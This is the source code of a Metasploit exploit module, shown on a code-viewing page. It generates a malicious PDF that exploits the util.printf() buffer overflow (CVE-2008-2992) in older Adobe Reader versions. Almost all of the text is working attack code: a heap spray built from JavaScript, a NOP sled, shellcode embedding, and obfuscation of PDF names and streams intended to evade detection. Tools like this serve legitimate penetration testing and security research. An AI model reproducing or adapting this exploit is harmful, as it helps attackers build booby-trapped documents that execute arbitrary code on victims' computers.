Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/fileformat/adobe_utilprintf.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'zlib'67class MetasploitModule < Msf::Exploit::Remote8Rank = GoodRanking910include Msf::Exploit::FILEFORMAT1112def initialize(info = {})13super(update_info(info,14'Name' => 'Adobe util.printf() Buffer Overflow',15'Description' => %q{16This module exploits a buffer overflow in Adobe Reader and Adobe Acrobat Professional17< 8.1.3. By creating a specially crafted pdf that a contains malformed util.printf()18entry, an attacker may be able to execute arbitrary code.19},20'License' => MSF_LICENSE,21'Author' => [ 'MC', 'Didier Stevens <didier.stevens[at]gmail.com>' ],22'References' =>23[24[ 'CVE', '2008-2992' ],25[ 'OSVDB', '49520' ]26],27'DefaultOptions' =>28{29'EXITFUNC' => 'process',30'DisablePayloadHandler' => true31},32'Payload' =>33{34'Space' => 1024,35'BadChars' => "\x00",36},37'Platform' => 'win',38'Targets' =>39[40[ 'Adobe Reader v8.1.2 (Windows XP SP3 English)', { 'Ret' => '' } ],41],42'DisclosureDate' => '2008-02-08',43'DefaultTarget' => 0))4445register_options(46[47OptString.new('FILENAME', [ true, 'The file name.', 'msf.pdf']),48])49end5051def exploit52# Encode the shellcode.53shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))5455# Make some nops56nops = Rex::Text.to_unescape(make_nops(4))5758# Randomize variables59rand1 = rand_text_alpha(rand(100) + 1)60rand2 = rand_text_alpha(rand(100) + 1)61rand3 = rand_text_alpha(rand(100) + 1)62rand4 = rand_text_alpha(rand(100) + 1)63rand5 = rand_text_alpha(rand(100) + 1)64rand6 = rand_text_alpha(rand(100) + 1)65rand7 = rand_text_alpha(rand(100) + 1)66rand8 = rand_text_alpha(rand(100) + 1)67rand9 = rand_text_alpha(rand(100) + 1)68rand10 = rand_text_alpha(rand(100) + 1)69rand11 = rand_text_alpha(rand(100) + 1)7071script = %Q|72var #{rand1} = unescape("#{shellcode}");73var #{rand2} ="";74for (#{rand3}=128;#{rand3}>=0;--#{rand3}) #{rand2} += unescape("#{nops}");75#{rand4} = #{rand2} + #{rand1};76#{rand5} = unescape("#{nops}");77#{rand6} = 20;78#{rand7} = #{rand6}+#{rand4}.length79while (#{rand5}.length<#{rand7}) #{rand5}+=#{rand5};80#{rand8} = #{rand5}.substring(0, #{rand7});81#{rand9} = #{rand5}.substring(0, #{rand5}.length-#{rand7});82while(#{rand9}.length+#{rand7} < 0x40000) #{rand9} = #{rand9}+#{rand9}+#{rand8};83#{rand10} = new Array();84for (#{rand11}=0;#{rand11}<1450;#{rand11}++) #{rand10}[#{rand11}] = #{rand9} + #{rand4};85util.printf("%45000.45000f", 0);86|8788# Create the pdf89pdf = make_pdf(script)9091print_status("Creating '#{datastore['FILENAME']}' file...")9293file_create(pdf)94end9596def random_non_ascii_string(count)97result = ""98count.times do99result << (rand(128) + 128).chr100end101result102end103104def io_def(id)105"%d 0 obj" % id106end107108def io_ref(id)109"%d 0 R" % id110end111112#http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/113def n_obfu(str)114result = ""115str.scan(/./u) do |c|116if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'117result << "#%x" % c.unpack("C*")[0]118else119result << c120end121end122result123end124125def ascii_hex_whitespace_encode(str)126result = ""127whitespace = ""128str.each_byte do |b|129result << whitespace << "%02x" % b130whitespace = " " * (rand(3) + 1)131end132result << ">"133end134135def make_pdf(js)136137xref = []138eol = "\x0d\x0a"139endobj = "endobj" << eol140141# Randomize PDF version?142pdf = "%PDF-1.5" << eol143pdf << "%" << random_non_ascii_string(4) << eol144xref << pdf.length145pdf << io_def(1) << n_obfu("<</Type/Catalog/Outlines ") << io_ref(2) << n_obfu("/Pages ") << io_ref(3) << n_obfu("/OpenAction ") << io_ref(5) << ">>" << endobj146xref << pdf.length147pdf << io_def(2) << n_obfu("<</Type/Outlines/Count 0>>") << endobj148xref << pdf.length149pdf << io_def(3) << n_obfu("<</Type/Pages/Kids[") << io_ref(4) << n_obfu("]/Count 1>>") << endobj150xref << pdf.length151pdf << io_def(4) << n_obfu("<</Type/Page/Parent ") << io_ref(3) << n_obfu("/MediaBox[0 0 612 792]>>") << endobj152xref << pdf.length153pdf << io_def(5) << n_obfu("<</Type/Action/S/JavaScript/JS ") + io_ref(6) + ">>" << endobj154xref << pdf.length155compressed = Zlib::Deflate.deflate(ascii_hex_whitespace_encode(js))156pdf << io_def(6) << n_obfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol157pdf << "stream" << eol158pdf << compressed << eol159pdf << "endstream" << eol160pdf << endobj161xrefPosition = pdf.length162pdf << "xref" << eol163pdf << "0 %d" % (xref.length + 1) << eol164pdf << "0000000000 65535 f" << eol165xref.each do |index|166pdf << "%010d 00000 n" % index << eol167end168pdf << "trailer" << n_obfu("<</Size %d/Root " % (xref.length + 1)) << io_ref(1) << ">>" << eol169pdf << "startxref" << eol170pdf << xrefPosition.to_s() << eol171pdf << "%%EOF" << eol172173end174end175176177